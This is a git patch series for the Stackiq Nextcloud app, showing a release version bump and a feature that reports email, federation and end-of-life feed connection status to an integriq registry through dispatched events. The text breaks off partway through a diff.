From 584f0ed15fc69f0240d4ceedd0bd41d6d7416ff5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Sat, 12 Sep 2026 20:29:10 +0000 Subject: [PATCH 001/176] chore(release): 0.2.3-unstable.20260912202721 --- appinfo/info.xml | 2 +- openapi.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/appinfo/info.xml b/appinfo/info.xml index 15874ec6c..c296c0ece 100644 --- a/appinfo/info.xml +++ b/appinfo/info.xml @@ -50,7 +50,7 @@ Vrij en open source onder de EUPL-licentie. **Ondersteuning:** Voor ondersteuning, neem contact op via support@conduction.nl. Voor een Service Level Agreement (SLA), neem contact op via sales@conduction.nl. ]]> - 0.2.2-unstable.20260910105110 + 0.2.3-unstable.20260912202721 EUPL-1.2 Conduction Stackiq diff --git a/openapi.json b/openapi.json index 264274cdb..9746b7596 100644 --- a/openapi.json +++ b/openapi.json @@ -2,7 +2,7 @@ "openapi": "3.0.3", "info": { "title": "stackiq", - "version": "0.2.2-unstable.20260910105110", + "version": "0.2.3-unstable.20260912202721", "description": "Stackiq", "license": { "name": "agpl" From a8a66d05551a97b1a440659f5ecf5dd57ca7123c Mon Sep 17 00:00:00 2001 From: Ruben van der Linde Date: Mon, 14 Sep 2026 22:28:43 +0200 Subject: [PATCH 002/176] feat(integrations): show stackiq's connections through integriq's registry (#1032) * feat(connections): declare email, federation and the end-of-life feed for integriq * feat(connections): refresh and report email, federation and the end-of-life feed to integriq * feat(connections): an Integrations page over integriq's connection registry * test(connections): an e2e spec for the Integrations page, with integriq in CI * test(connections): named arguments, and stubs that wait for OCP * refactor(connections): keep the event senders private --- .github/workflows/code-quality.yml | 9 +- l10n/en.js | 15 +- l10n/en.json | 15 +- l10n/nl.js | 15 +- l10n/nl.json | 15 +- lib/AppInfo/Application.php | 11 +- lib/Controller/SettingsController.php | 13 + lib/Service/ConnectionReportService.php | 501 ++++++++++++++++++ lib/Service/EolSyncService.php | 31 +- lib/Service/Federation/FederationService.php | 35 +- lib/Settings/connections.json | 37 ++ .../adopt-connection-registry/.openspec.yaml | 2 + .../adopt-connection-registry/design.md | 96 ++++ .../adopt-connection-registry/proposal.md | 45 ++ .../specs/admin-integrations/spec.md | 95 ++++ .../adopt-connection-registry/tasks.md | 34 ++ phpstan.neon | 4 + psalm.xml | 6 + src/App.vue | 11 + src/customComponents.js | 12 + src/icons.js | 2 + src/manifest.d/connection-registry.json | 87 +++ src/services/connectionRegistry.js | 99 ++++ .../settings/sections/EmailConfiguration.vue | 1 + .../settings/sections/EolSyncSettings.vue | 1 + .../settings/sections/FederationSettings.vue | 1 + .../Event/ConnectionRefreshRequestedEvent.php | 46 ++ .../Event/ConnectionStatusReportedEvent.php | 52 ++ ...SettingsControllerConnectionReportTest.php | 165 ++++++ .../Service/ConnectionReportCallersTest.php | 303 +++++++++++ .../Service/ConnectionReportServiceTest.php | 489 +++++++++++++++++ .../Settings/ConnectionsDeclarationTest.php | 355 +++++++++++++ tests/bootstrap-unit.php | 15 + tests/bootstrap.php | 19 + tests/e2e/workflows/integrations-page.spec.ts | 154 ++++++ tests/vitest/connectionRegistry.spec.js | 165 ++++++ 36 files changed, 2945 insertions(+), 11 deletions(-) create mode 100644 lib/Service/ConnectionReportService.php create mode 100644 lib/Settings/connections.json create mode 100644 openspec/changes/adopt-connection-registry/.openspec.yaml create mode 100644 openspec/changes/adopt-connection-registry/design.md create mode 100644 openspec/changes/adopt-connection-registry/proposal.md create mode 100644 openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md create mode 100644 openspec/changes/adopt-connection-registry/tasks.md create mode 100644 src/manifest.d/connection-registry.json create mode 100644 src/services/connectionRegistry.js create mode 100644 tests/Stubs/Integriq/Event/ConnectionRefreshRequestedEvent.php create mode 100644 tests/Stubs/Integriq/Event/ConnectionStatusReportedEvent.php create mode 100644 tests/Unit/Controller/SettingsControllerConnectionReportTest.php create mode 100644 tests/Unit/Service/ConnectionReportCallersTest.php create mode 100644 tests/Unit/Service/ConnectionReportServiceTest.php create mode 100644 tests/Unit/Settings/ConnectionsDeclarationTest.php create mode 100644 tests/e2e/workflows/integrations-page.spec.ts create mode 100644 tests/vitest/connectionRegistry.spec.js diff --git a/.github/workflows/code-quality.yml b/.github/workflows/code-quality.yml index 026f5a693..213bafb1f 100644 --- a/.github/workflows/code-quality.yml +++ b/.github/workflows/code-quality.yml @@ -158,7 +158,14 @@ jobs: # object API directly (tests/e2e/workflows/_fixtures.ts), so testing # against `main` measures a different backend than the one this app is # written for. Pinned to `development` to match. - additional-apps: '[{"repo":"ConductionNL/openregister","app":"openregister","ref":"development"}]' + # + # integriq is here because the Integrations page reads integriq's + # `app_connection` rows (adopt-connection-registry). Without it the page + # shows the missing-dependency screen and + # `tests/e2e/workflows/integrations-page.spec.ts` fails on every run. + # `app` is `integriq`, verified in its appinfo/info.xml on `development` + # on 2026-09-14. + additional-apps: '[{"repo":"ConductionNL/openregister","app":"openregister","ref":"development"},{"repo":"ConductionNL/integriq","app":"integriq","ref":"development"}]' # Newman disabled: tests/magic-mapper-import.postman_collection.json was # written against a dev env with URL rewriting + a fixed disk layout — it # hits bare paths like `/configurations` and uploads files from diff --git a/l10n/en.js b/l10n/en.js index 08b68094d..47b812dcd 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -704,7 +704,20 @@ OC.L10N.register( "xmlns": "xmlns", "xsi": "xsi", "Pre-filled with the names the Integriq endoflife-date-source change provisions. Change them if your instance uses different names, no code change required.": "Pre-filled with the names the Integriq endoflife-date-source change provisions. Change them if your instance uses different names, no code change required.", - "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?": "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?" + "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?": "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?", + "Integrations": "Integrations", + "Status message": "Status message", + "Last checked": "Last checked", + "All connections": "All connections", + "Add integration": "Add integration", + "Open settings": "Open settings", + "Configured": "Configured", + "Limited": "Limited", + "Not configured": "Not configured", + "Simulated": "Simulated", + "Not available": "Not available", + "Error": "Error", + "Settings": "Settings" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index 81aaa9c63..8c8626820 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -703,6 +703,19 @@ "xmlns": "xmlns", "xsi": "xsi", "Pre-filled with the names the Integriq endoflife-date-source change provisions. Change them if your instance uses different names, no code change required.": "Pre-filled with the names the Integriq endoflife-date-source change provisions. Change them if your instance uses different names, no code change required.", - "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?": "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?" + "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?": "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?", + "Integrations": "Integrations", + "Status message": "Status message", + "Last checked": "Last checked", + "All connections": "All connections", + "Add integration": "Add integration", + "Open settings": "Open settings", + "Configured": "Configured", + "Limited": "Limited", + "Not configured": "Not configured", + "Simulated": "Simulated", + "Not available": "Not available", + "Error": "Error", + "Settings": "Settings" } } diff --git a/l10n/nl.js b/l10n/nl.js index 6c52495c3..cd3abea30 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -777,7 +777,20 @@ OC.L10N.register( "xmlns": "xmlns", "xsi": "xsi", "Pre-filled with the names the Integriq endoflife-date-source change provisions. Change them if your instance uses different names, no code change required.": "Vooraf ingevuld met de namen die de Integriq-wijziging endoflife-date-source aanmaakt. Wijzig ze als uw omgeving andere namen gebruikt, geen codewijziging nodig.", - "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?": "het geconfigureerde register of schema kon niet worden gevonden. Is de Integriq-wijziging endoflife-date-source geïnstalleerd?" + "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?": "het geconfigureerde register of schema kon niet worden gevonden. Is de Integriq-wijziging endoflife-date-source geïnstalleerd?", + "Integrations": "Koppelingen", + "Status message": "Statusbericht", + "Last checked": "Laatst gecontroleerd", + "All connections": "Alle verbindingen", + "Add integration": "Integratie toevoegen", + "Open settings": "Instellingen openen", + "Configured": "Ingericht", + "Limited": "Beperkt", + "Not configured": "Niet geconfigureerd", + "Simulated": "Gesimuleerd", + "Not available": "Niet beschikbaar", + "Error": "Fout", + "Settings": "Instellingen" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index 0848195e0..74b03d236 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -776,6 +776,19 @@ "xmlns": "xmlns", "xsi": "xsi", "Pre-filled with the names the Integriq endoflife-date-source change provisions. Change them if your instance uses different names, no code change required.": "Vooraf ingevuld met de namen die de Integriq-wijziging endoflife-date-source aanmaakt. Wijzig ze als uw omgeving andere namen gebruikt, geen codewijziging nodig.", - "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?": "het geconfigureerde register of schema kon niet worden gevonden. Is de Integriq-wijziging endoflife-date-source geïnstalleerd?" + "the configured register or schema could not be found. Is the Integriq endoflife-date-source change installed?": "het geconfigureerde register of schema kon niet worden gevonden. Is de Integriq-wijziging endoflife-date-source geïnstalleerd?", + "Integrations": "Koppelingen", + "Status message": "Statusbericht", + "Last checked": "Laatst gecontroleerd", + "All connections": "Alle verbindingen", + "Add integration": "Integratie toevoegen", + "Open settings": "Instellingen openen", + "Configured": "Ingericht", + "Limited": "Beperkt", + "Not configured": "Niet geconfigureerd", + "Simulated": "Gesimuleerd", + "Not available": "Niet beschikbaar", + "Error": "Fout", + "Settings": "Instellingen" } } diff --git a/lib/AppInfo/Application.php b/lib/AppInfo/Application.php index 672b1cdec..175c58296 100644 --- a/lib/AppInfo/Application.php +++ b/lib/AppInfo/Application.php @@ -39,6 +39,7 @@ use OCA\Stackiq\Service\ArchiMateExportService; use OCA\Stackiq\Service\ArchiMateImportService; use OCA\Stackiq\Service\ArchiMateService; +use OCA\Stackiq\Service\ConnectionReportService; use OCA\Stackiq\Service\ContactpersoonService; use OCA\Stackiq\Service\ContractApprovalService; use OCA\Stackiq\Service\ContractStatusService; @@ -674,7 +675,11 @@ function ($container) { config: $container->get(FederationConfig::class), merger: $container->get(FederationMerger::class), settingsService: $container->get(SettingsService::class), - logger: $container->get(LoggerInterface::class) + logger: $container->get(LoggerInterface::class), + // The integriq connection report (adopt-connection-registry). Passed by + // name: this factory is hand-built, so the constructor default of null + // would otherwise switch every federation report off without a sound. + connectionReports: $container->get(ConnectionReportService::class) ); } ); @@ -706,7 +711,9 @@ function ($container) { settingsService: $container->get(SettingsService::class), matcher: $container->get(EolMatcherService::class), timeFactory: $container->get('OCP\AppFramework\Utility\ITimeFactory'), - logger: $container->get(LoggerInterface::class) + logger: $container->get(LoggerInterface::class), + // Same reason as the FederationService factory above. + connectionReports: $container->get(ConnectionReportService::class) ); } ); diff --git a/lib/Controller/SettingsController.php b/lib/Controller/SettingsController.php index 2064ade21..7225595ed 100644 --- a/lib/Controller/SettingsController.php +++ b/lib/Controller/SettingsController.php @@ -27,6 +27,7 @@ use OCA\OpenRegister\Contract\ObjectServiceInterface; use OCA\OpenRegister\Service\ConfigurationService; use OCA\Stackiq\Service\ArchiMateService; +use OCA\Stackiq\Service\ConnectionReportService; use OCA\Stackiq\Service\EolSyncService; use OCA\Stackiq\Service\OrganizationSyncService; use OCA\Stackiq\Service\ProgressTracker; @@ -84,8 +85,11 @@ class SettingsController extends Controller { * @param ProgressTracker $progressTracker The progress tracking service. * @param EolSyncService $eolSyncService The EOL feed sync orchestration service. * @param LoggerInterface $logger The logger instance. + * @param ConnectionReportService|null $connectionReports Asks integriq to look again after an email settings save. * * @SuppressWarnings(PHPMD.ExcessiveParameterList) + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met */ public function __construct( $appName, @@ -101,6 +105,7 @@ public function __construct( private readonly ProgressTracker $progressTracker, private readonly EolSyncService $eolSyncService, private readonly LoggerInterface $logger, + private readonly ?ConnectionReportService $connectionReports = null, ) { parent::__construct(appName: $appName, request: $request); @@ -431,9 +436,14 @@ private function updateUserGroupSettings(array $data, array &$result): ?JSONResp * @param array $data The raw request params. * @param array $result The result accumulator (passed by reference). * + * After the write it asks integriq to resolve the email connection again + * (adopt-connection-registry). That never throws, does nothing without + * integriq, and never changes the response. + * * @return void * * @spec openspec/changes/method-decomposition/tasks.md#task-3 + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met */ private function applyEmailSettingsUpdate(array $data, array &$result): void { if (isset($data['emailSettings']) === false) { @@ -441,6 +451,7 @@ private function applyEmailSettingsUpdate(array $data, array &$result): void { } $result['emailSettings'] = $this->settingsService->updateEmailSettings($data['emailSettings']); + $this->connectionReports?->emailSettingsSaved(); }//end applyEmailSettingsUpdate() @@ -2025,6 +2036,7 @@ public function getEmailSettings(): JSONResponse { * * @return JSONResponse Update result * @spec openspec/specs/settings-admin-controller/spec.md + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met */ public function updateEmailSettings(): JSONResponse { $currentUser = $this->userSession->getUser(); @@ -2041,6 +2053,7 @@ public function updateEmailSettings(): JSONResponse { $emailSettings = $data['emailSettings'] ?? $data; $updatedSettings = $this->settingsService->updateEmailSettings($emailSettings); + $this->connectionReports?->emailSettingsSaved(); return new JSONResponse( [ diff --git a/lib/Service/ConnectionReportService.php b/lib/Service/ConnectionReportService.php new file mode 100644 index 000000000..646c48e8e --- /dev/null +++ b/lib/Service/ConnectionReportService.php @@ -0,0 +1,501 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * + * @link https://conduction.nl + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service; + +use OCA\Stackiq\AppInfo\Application; +use OCP\EventDispatcher\Event; +use OCP\EventDispatcher\IEventDispatcher; +use Psr\Log\LoggerInterface; +use Throwable; + +/** + * Sends connection refresh requests and reports to integriq. + * + * A save refreshes before it reports. Under hydra#674 a refresh retires the + * observations older than itself, so a report sent before the refresh would + * be retired by it. A pull or a sync run reports without a refresh: it + * changes no settings. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ +class ConnectionReportService { + + /** + * Integriq's report event (ADR-041). Named by string so stackiq stays + * installable without integriq: the class is only there when integriq is. + * + * @var string + */ + public const STATUS_EVENT = 'OCA\Integriq\Event\ConnectionStatusReportedEvent'; + + /** + * Integriq's refresh event. Same reason for the string as above. + * + * @var string + */ + public const REFRESH_EVENT = 'OCA\Integriq\Event\ConnectionRefreshRequestedEvent'; + + /** + * The email connection key in lib/Settings/connections.json. + * + * @var string + */ + public const KEY_EMAIL = 'email'; + + /** + * The catalog federation connection key in lib/Settings/connections.json. + * + * @var string + */ + public const KEY_FEDERATION = 'federation'; + + /** + * The end-of-life feed connection key in lib/Settings/connections.json. + * + * @var string + */ + public const KEY_EOL = 'eol-feed'; + + /** + * The longest failure reason a message carries. + * + * @var int + */ + public const REASON_LIMIT = 160; + + /** + * What each EOL sync degrade reason means for the row, as status and message. + * + * The reasons are the ones EolSyncService::degrade() records. + * + * @var array + */ + public const EOL_REASONS = [ + 'disabled' => [ + 'unconfigured', + 'End-of-life sync is switched off. Switch it on in the End-of-life feed sync section.', + ], + 'openregister-not-installed' => [ + 'unavailable', + 'The end-of-life sync needs OpenRegister, and it is not installed.', + ], + 'object-service-unavailable' => [ + 'error', + 'OpenRegister did not answer the last end-of-life sync.', + ], + 'module-schema-not-configured' => [ + 'unconfigured', + 'Stackiq has no module or module version schema configured, so the sync has nothing to stamp.', + ], + 'eol-register-or-schema-not-found' => [ + 'unconfigured', + 'The end-of-life register or schemas are missing. Install the endoflife.date source in integriq, ' + . 'or fix the names in the End-of-life feed sync section.', + ], + ]; + + /** + * Constructor. + * + * @param IEventDispatcher $eventDispatcher Sends the integriq events (ADR-041). + * @param SymfonyEmailService $emailService Tells whether the saved email settings are complete. + * @param LoggerInterface $logger Records what could not be sent. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + public function __construct( + private readonly IEventDispatcher $eventDispatcher, + private readonly SymfonyEmailService $emailService, + private readonly LoggerInterface $logger, + ) { + }//end __construct() + + /** + * After an email settings save: refresh, then report what the saved settings say. + * + * The `null` transport is left to integriq's rule 3, which outranks any + * report. Never throws, and does nothing without integriq. + * + * @return bool True when the report was sent. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + public function emailSettingsSaved(): bool { + if ($this->refresh(key: self::KEY_EMAIL) === false) { + return false; + } + + try { + [$status, $message] = $this->describeEmail( + configStatus: $this->emailService->isEmailSystemConfigured(), + transportLabels: $this->emailService->getAvailableTransports() + ); + } catch (Throwable $e) { + $this->logger->warning( + 'Stackiq: could not read the email settings for a connection report', + ['key' => self::KEY_EMAIL, 'exception' => $e->getMessage()] + ); + return false; + } + + return $this->report(key: self::KEY_EMAIL, status: $status, message: $message); + }//end emailSettingsSaved() + + /** + * What the email configuration status says about the connection. + * + * @param array $configStatus The result of SymfonyEmailService::isEmailSystemConfigured(). + * @param array $transportLabels Transport type to its label. + * + * @return array{0: string, 1: string} The status and the message. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + public function describeEmail(array $configStatus, array $transportLabels): array { + if (array_key_exists('transportType', $configStatus) === false) { + // SymfonyEmailService answers without a transport only when email is off. + return ['unconfigured', 'Email is switched off, so stackiq sends no mail.']; + } + + $transport = (string) $configStatus['transportType']; + $label = ($transportLabels[$transport] ?? $transport); + + if (($configStatus['hasCredentials'] ?? false) !== true) { + return ['unconfigured', 'Email is on, and the ' . $label . ' transport misses a setting it needs.']; + } + + if (($configStatus['hasTemplates'] ?? false) !== true) { + return ['unconfigured', 'Email is on, and a required mail template is empty.']; + } + + return ['configured', 'Email is on and the ' . $label . ' transport settings are filled. No test mail was sent.']; + }//end describeEmail() + + /** + * After a peer was added or removed: refresh, then report a state that blocks federation. + * + * A ready federation gets no report: only a pull can tell whether the peers + * answer, so the row reads the declared "Not checked yet" until then. + * + * @param array $status The result of FederationService::getStatus(). + * + * @return bool True when a report was sent. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + public function federationPeersChanged(array $status): bool { + if ($this->refresh(key: self::KEY_FEDERATION) === false) { + return false; + } + + $blocked = $this->federationBlocker( + available: ($status['available'] ?? false) === true, + enabled: ($status['enabled'] ?? false) === true, + peerCount: count((array) ($status['peers'] ?? [])) + ); + if ($blocked === null) { + return false; + } + + return $this->report(key: self::KEY_FEDERATION, status: $blocked[0], message: $blocked[1]); + }//end federationPeersChanged() + + /** + * After a federation pull: report what the peers answered. + * + * @param array $pull The result of FederationService::pullAllPeers(). + * + * @return bool True when a report was sent. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + public function federationPulled(array $pull): bool { + [$status, $message] = $this->describePull(pull: $pull); + + return $this->report(key: self::KEY_FEDERATION, status: $status, message: $message); + }//end federationPulled() + + /** + * What a federation pull says about the connection. + * + * @param array $pull The result of FederationService::pullAllPeers(). + * + * @return array{0: string, 1: string} The status and the message. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + public function describePull(array $pull): array { + $reason = (string) ($pull['reason'] ?? ''); + if (($pull['ok'] ?? false) !== true) { + $blocked = $this->federationBlocker( + available: $reason !== 'OpenCatalogi unavailable', + enabled: $reason !== 'federation disabled', + peerCount: 1 + ); + + return ($blocked ?? ['error', 'The last federation pull failed: ' . $this->shorten(text: $reason)]); + } + + $peers = array_values((array) ($pull['peers'] ?? [])); + if ($peers === []) { + return ['unconfigured', 'Federation is on, and no peer catalog is added yet.']; + } + + $failed = array_values( + array_filter($peers, static fn (mixed $peer): bool => is_array($peer) === true && ($peer['ok'] ?? false) !== true) + ); + if ($failed === [] && count($peers) === 1) { + return ['configured', 'The peer catalog answered the last pull.']; + } + + if ($failed === []) { + return ['configured', 'All ' . count($peers) . ' peer catalogs answered the last pull.']; + } + + $first = $this->peerHost(url: (string) ($failed[0]['peer'] ?? '')) + . ' did not: ' . $this->shorten(text: (string) ($failed[0]['reason'] ?? '')); + if (count($failed) === count($peers)) { + return ['error', 'No peer catalog answered the last pull. ' . $first]; + } + + $answered = (count($peers) - count($failed)); + + return ['limited', $answered . ' of ' . count($peers) . ' peer catalogs answered the last pull. ' . $first]; + }//end describePull() + + /** + * After an EOL sync settings save: refresh, then report a switched-off sync. + * + * @param array $config The configuration as saved. + * + * @return bool True when a report was sent. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + public function eolSyncConfigSaved(array $config): bool { + if ($this->refresh(key: self::KEY_EOL) === false) { + return false; + } + + if (($config['enabled'] ?? false) === true) { + return false; + } + + [$status, $message] = self::EOL_REASONS['disabled']; + + return $this->report(key: self::KEY_EOL, status: $status, message: $message); + }//end eolSyncConfigSaved() + + /** + * After an EOL sync run: report the outcome the run recorded. + * + * @param array $runStatus The status EolSyncService::run() recorded. + * + * @return bool True when a report was sent. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + public function eolSyncRan(array $runStatus): bool { + [$status, $message] = $this->describeEolRun(runStatus: $runStatus); + + return $this->report(key: self::KEY_EOL, status: $status, message: $message); + }//end eolSyncRan() + + /** + * What an EOL sync run says about the connection. + * + * @param array $runStatus The status EolSyncService::run() recorded. + * + * @return array{0: string, 1: string} The status and the message. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + public function describeEolRun(array $runStatus): array { + if (($runStatus['available'] ?? false) === true) { + return [ + 'configured', + 'The last sync stamped ' . (int) ($runStatus['matched'] ?? 0) . ' module versions and skipped ' + . (int) ($runStatus['skipped'] ?? 0) . '.', + ]; + } + + $reason = (string) ($runStatus['reason'] ?? ''); + + return (self::EOL_REASONS[$reason] ?? ['error', 'The last end-of-life sync stopped: ' . $this->shorten(text: $reason)]); + }//end describeEolRun() + + /** + * Ask integriq to resolve one connection again. + * + * @param string $key The connection key. + * + * @return bool True when the event was dispatched. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + private function refresh(string $key): bool { + $eventClass = $this->resolveEventClass(eventClass: self::REFRESH_EVENT); + if ($eventClass === null) { + return false; + } + + return $this->send( + key: $key, + build: static fn (): object => new $eventClass(app: Application::APP_ID, key: $key) + ); + }//end refresh() + + /** + * Report one status for one connection. + * + * @param string $key The connection key. + * @param string $status One of the six registry statuses. + * @param string $message What stackiq observed. + * + * @return bool True when the event was dispatched. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + private function report(string $key, string $status, string $message): bool { + $eventClass = $this->resolveEventClass(eventClass: self::STATUS_EVENT); + if ($eventClass === null) { + return false; + } + + return $this->send( + key: $key, + build: static fn (): object => new $eventClass(app: Application::APP_ID, key: $key, status: $status, message: $message) + ); + }//end report() + + /** + * The event class to instantiate, or null when integriq does not ship it. + * + * @param string $eventClass The fully qualified class name, without a leading backslash. + * + * @return string|null The class name to instantiate, or null when absent. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + protected function resolveEventClass(string $eventClass): ?string { + $qualified = '\\' . $eventClass; + if (class_exists($qualified) === false) { + return null; + } + + return $qualified; + }//end resolveEventClass() + + /** + * The state that keeps federation from pulling at all, or null when none does. + * + * @param bool $available Whether OpenCatalogi is installed. + * @param bool $enabled Whether federation_enabled is on. + * @param int $peerCount How many peers are configured. + * + * @return array{0: string, 1: string}|null The status and the message, or null. + */ + private function federationBlocker(bool $available, bool $enabled, int $peerCount): ?array { + if ($available === false) { + return ['unavailable', 'Federation needs the OpenCatalogi app, and it is not installed.']; + } + + if ($enabled === false) { + return [ + 'unconfigured', + 'Federation is switched off. Run occ config:app:set stackiq federation_enabled --value=true --type=boolean.', + ]; + } + + if ($peerCount === 0) { + return ['unconfigured', 'Federation is on, and no peer catalog is added yet.']; + } + + return null; + }//end federationBlocker() + + /** + * The host of a peer URL, so a message never carries its path, query or credentials. + * + * @param string $url The peer URL. + * + * @return string The host, or "A peer" when the URL has none. + */ + private function peerHost(string $url): string { + $host = parse_url($url, PHP_URL_HOST); + if (is_string($host) === false || $host === '') { + return 'A peer'; + } + + return $host; + }//end peerHost() + + /** + * A reason cut to REASON_LIMIT characters. + * + * @param string $text The reason. + * + * @return string The reason, cut and trimmed. + */ + private function shorten(string $text): string { + $text = trim($text); + if (mb_strlen($text) <= self::REASON_LIMIT) { + return $text; + } + + return rtrim(mb_substr($text, 0, self::REASON_LIMIT)) . '...'; + }//end shorten() + + /** + * Build and dispatch one event, swallowing anything a listener throws. + * + * @param string $key The connection the event is about, for the log. + * @param callable(): object $build Builds the event. + * + * @return bool True when the event was dispatched without an exception. + */ + private function send(string $key, callable $build): bool { + try { + $event = $build(); + if (($event instanceof Event) === false) { + return false; + } + + $this->eventDispatcher->dispatchTyped($event); + return true; + } catch (Throwable $e) { + $this->logger->warning( + 'Stackiq: could not send a connection event to integriq', + ['key' => $key, 'exception' => $e->getMessage()] + ); + return false; + } + }//end send() +}//end class diff --git a/lib/Service/EolSyncService.php b/lib/Service/EolSyncService.php index 7a138f9bb..8864d4fb2 100644 --- a/lib/Service/EolSyncService.php +++ b/lib/Service/EolSyncService.php @@ -57,12 +57,16 @@ class EolSyncService { * @param EolMatcherService $matcher The pure matching/stamping logic. * @param ITimeFactory $timeFactory The time factory (sync-run timestamp). * @param LoggerInterface $logger The logger. + * @param ConnectionReportService|null $connectionReports Tells integriq what a save or a run met. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met */ public function __construct( private readonly SettingsService $settingsService, private readonly EolMatcherService $matcher, private readonly ITimeFactory $timeFactory, private readonly LoggerInterface $logger, + private readonly ?ConnectionReportService $connectionReports = null, ) { }//end __construct() @@ -82,12 +86,19 @@ public function getConfig(): array { * * @param array $data The submitted configuration fields. * + * The save asks integriq to resolve the end-of-life feed connection again + * (adopt-connection-registry). + * * @return array The persisted configuration result. * * @spec openspec/specs/eol-feed-integration/spec.md#requirement-products-are-mapped-to-endoflife-date-via-per-module-config + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met */ public function updateConfig(array $data): array { - return $this->settingsService->updateEolSyncConfig($data); + $result = $this->settingsService->updateEolSyncConfig($data); + $this->connectionReports?->eolSyncConfigSaved(config: (array) ($result['config'] ?? [])); + + return $result; }//end updateConfig() /** @@ -226,7 +237,7 @@ public function run(): array { 'skipped' => $totalSkipped, 'lastRunAt' => $fetchedAt, ]; - $this->settingsService->setEolSyncStatus($status); + $this->recordStatus(status: $status); return $status; }//end run() @@ -476,8 +487,22 @@ private function degrade(string $reason): array { 'skipped' => 0, 'lastRunAt' => $this->timeFactory->getDateTime()->format(\DateTimeInterface::ATOM), ]; - $this->settingsService->setEolSyncStatus($status); + $this->recordStatus(status: $status); return $status; }//end degrade() + + /** + * Record a run's status, and tell integriq what the run met. + * + * @param array{available: bool, reason: string|null, matched: int, skipped: int, lastRunAt: string|null} $status The run status. + * + * @return void + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met + */ + private function recordStatus(array $status): void { + $this->settingsService->setEolSyncStatus($status); + $this->connectionReports?->eolSyncRan(runStatus: $status); + }//end recordStatus() }//end class diff --git a/lib/Service/Federation/FederationService.php b/lib/Service/Federation/FederationService.php index 2bd60c109..3bb5174b7 100644 --- 